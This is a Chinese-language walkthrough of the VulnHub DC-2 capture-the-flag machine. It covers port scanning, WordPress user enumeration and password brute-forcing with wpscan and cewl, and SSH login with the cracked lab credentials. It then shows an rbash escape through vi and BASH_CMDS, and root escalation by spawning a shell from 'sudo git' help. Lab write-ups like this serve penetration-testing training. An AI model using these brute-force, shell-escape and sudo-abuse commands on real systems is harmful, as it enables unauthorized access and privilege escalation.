[VulnHub]DC-2靶场全过程

DC-2

信息收集

arp-scan -l

nmap -sP 192.168.190.0/24

复制代码
kali靶机:192.168.190.128
DC-2靶机:192.168.190.138

知道了靶机ip之后,我们就可以详细信息收集进行扫描

复制代码
nmap -sS -T5 -sC -p- --min-rate 10000 192.168.190.138
nmap -sS -p---min-rate 10000 $ip
  • -sS:表示 SYN 扫描,也叫半开放扫描。它不完成完整的 TCP 连接,仅发送 SYN 包,收到 SYN-ACK 包后回复 RST 包。这种扫描速度快且隐蔽,不易被目标系统日志记录。

  • -T5 :设置扫描的时间模板。T取值范围是 0 - 5,T5代表极速模式,扫描延迟非常低,会快速发送探测包以加快扫描速度,但可能增加被目标网络设备察觉的风险 。

  • -sC :等同于--script=default ,会运行 Nmap 的默认脚本集。这些脚本用于检测常见服务的版本、漏洞等信息,能增强扫描的检测能力。

  • -p-:指定扫描所有端口,即从 1 到 65535 的全部 TCP 端口。

  • --min-rate 10000:设置扫描时每秒至少发送 10000 个探测包,目的是提高扫描速度,让扫描过程更快完成。

看到80端口开放着,我们访问一下靶机试试

但是发现访问不了,且发现我们输入的ip地址自动转化为了域名,我们想到dc-2这个域名解析失败,我们更改hosts文件,添加一个ip域名指向。

添加之后,再次访问,访问成功发现是wordpress的站点

复制代码
dirsearch -u http://192.168.190.138 -e *
dirb http://192.168.190.138
复制代码
whatweb -v 192.168.190.138

渗透测试

flag1

flag1的意思差不多就是让你暴力破解

前面信息收集时候发现后台的地址:

http://dc-2/wp-login.php?redirect_to=http%3A%2F%2F192.168.190.138%2Fwp-admin%2F&reauth=1

这是一个wordpress的站,我们采用专门针对wordpress的工具wpscan来进行扫描进行用户枚举

复制代码
wpscan一些常用用法:
wpscan --url http://dc-2 获取版本信息
wpscan --url http://dc-2 --enumerate p 扫描插件
wpscan --url http://dc-2 --enumerate u 枚举用户 > admin/jerry/tom

这里是因为我kali版本太低了,没有扫出来

我们可以使用cewl命令行工具,对网站进行生成字典,保存到password.txt,然后使用wpscan爆破

复制代码
cewl http://dc-2/ > password.txt
wpscan --url http://dc-2 --passwords password.txt
复制代码
jerry/adipiscing
tom/parturient

然后进行登录

flag2

找到flag2

复制代码
Flag 2:

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

如果您无法利用 WordPress 并走捷径,还有另一种方法。

希望您找到了另一个切入点。

flag3

我们还有一个tom账号没有登录,同时在信息收集的时候,我们还有个7744端口

复制代码
ssh [email protected] -p 7744
复制代码
ls
vi flag3.txt


Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

可怜的老汤姆总是追着杰瑞跑。也许他应该为他造成的所有压力感到自豪。
(su命令提示)

但是没有su这个命令,另外也提示我们需要rbash逃逸

(rbash 是受限的 bash shell,对用户的操作做了诸多限制,比如不能使用cd命令改变目录、不能随意修改PATH环境变量、限制导入功能等 ,目的是提升系统安全性,限制用户在系统中的操作范围。)

这里我一开始用的是vi的方式进行rbash逃逸

复制代码
vi
:set shell=/bin/bash
:shell

然后我们就可以使用cd什么命令了

但是依旧没办法su

所以我们要去构造一个su命令

复制代码
BASH_CMDS[su]=/bin/sh;su
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
echo /*
su jerry

flag4

复制代码
cd ..
ls 
cd jerry
ls
cat flag4.txt
复制代码
Good to see that you've made it this far - but you " re not home yet .
很高兴看到你走了这么远,但你还没回家。
You still need to get the final flag (the only flag that really counts!!! ).
您仍然需要获得最后的标志(唯一真正重要的标志!)
No hints here 一you're on your own now. :- )
这里没有暗示,一,你现在只能靠自己了。*-)
Go on
继续
git outta here!!!!

最后肯定是需要提权获取到最后一个flag,提示到git,可能需要git提权

flag5

复制代码
sudo -l

发现jerry无需root权限执行git

复制代码
查看一下可以使用的root权限命令
find / -user root -perm -4000 -print 2>/dev/null

-perm -4000:用于筛选具有特定权限的文件。在linux权限体系中,4000(八进制)对应的权限标志是SUID。设置了SUID的文件,普通用户执行时会临时获得文件所有者(这里是root)的权限来运行该程序。表示查找所有设置了SUID权限位的文件。

这里sudo/su 都需要root权限,我们这里只能使用git命令,并使用git命令提权

复制代码
sudo git branch --help config
以sudo权限(即 root 身份)打开 Git 分支配置相关的帮助文档

sudo git branch --help status
同理,以 root 身份打开 Git 状态相关的帮助文档。

!/bin/sh
在某些寻呼机程序(如less)中,!符号用于执行外部命令。这里的!/bin/sh会尝试以 root 权限启动一个交互式 shell。
复制代码
cd /root
ls
cat final-flag.txt